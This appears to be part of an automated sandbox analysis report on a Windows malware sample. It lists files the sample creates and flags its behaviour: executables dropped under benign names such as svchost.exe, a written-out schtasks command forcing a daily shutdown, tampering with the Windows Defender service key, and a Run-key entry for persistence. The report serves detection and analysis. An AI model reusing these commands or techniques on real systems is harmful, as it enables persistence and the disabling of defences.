Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\819f3848762bde15_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\819f3848762bde15_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b2ea075a80b7dff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b2ea075a80b7dff9_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\773ec66002a68baf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\773ec66002a68baf_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3d49f14d5d581ae5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3d49f14d5d581ae5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4c7155fdcb357b2c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4c7155fdcb357b2c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b596ddd81a3e04f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0b596ddd81a3e04f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ce9a2becd154cc0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ce9a2becd154cc0b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0e1587ceb49a87ad_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0e1587ceb49a87ad_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4086ead4c1270361_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4086ead4c1270361_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\41ac4588896d4c6f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\41ac4588896d4c6f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\a0aa60a133aba17b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\a0aa60a133aba17b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2733b1fa30133dc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2733b1fa30133dc5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\1e07c40510c25b09_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\1e07c40510c25b09_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0804dd4bedc4044a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0804dd4bedc4044a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\008aecfeca5856cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\008aecfeca5856cb_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\62741acbd610245a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\62741acbd610245a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\05299b87d8a10088_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\05299b87d8a10088_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f0ce427b28da7d25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\34d467f947acad13_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\aae27d8c-0c0e-4371-928a-b2d2faa2a2fa.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF1fb82d.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\872b7b4f8bfb485b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\f7a02825bf690a95_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\65f701fc2d3b6d77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\6c9220cc-d203-41ca-ad88-6712ed1838ea.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF1fbdea.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\960aaafa77fbb8a0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b851f156-c129-4d54-982c-e18bbd14889f.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF1fbe86.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b849a2f19789767a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\67f1189172319be9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e6504c209cb882d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\df9f3044c9ae2e2e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3055e34b33d94a7f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ea6f02895a4e3500_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\7c4863577c43b32f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\574b540795aeca12_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\9edf5f432f2b01a8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2a15b98971354678_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0a67355f432340b9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b9dcc9f4c807eeaa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\321e64ecacb66619_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\153bba9a429a2c40_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2e08a9c6ec333021_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\39c763e560200cda_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\6dcb70bdb8fe40a3_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\7ed93a10144ac834_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\264b46d61d915def_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b7cd751a99c70c48_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\13e83bd1c1ab1541_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8fdcb7992c9e741c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ff5222d57552b6c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b87cf2f2b0511c4c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\dd1d9f7425e5aefb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\348aae4f13c8f553_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8cce886514f2b2ec_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\217bbc87393d2e57_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\8bfc77f05f6a3cc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2a99e21c738e2a0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\d6af3918ca46ca94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\85f220494be669b7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2bb582fd7577f97e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\9f97c8dd99a7773d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ed344a77138c223d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\95fcbb4ef0998598_0

Drops PE files with benign system names

Source: C:\Intel\curl.exe

File created: C:\Intel\svchost.exe

Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Trays.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	File created: C:\Intel\curl.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\driver.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\dc.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\4t-min64.exe	Jump to dropped file
Source: C:\Intel\svchost.exe	File created: C:\Intel\AnyDesk\AnyDesk.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Tray.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\svchost.exe	Jump to dropped file

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00

Source: C:\Intel\dc.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinDefend

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior
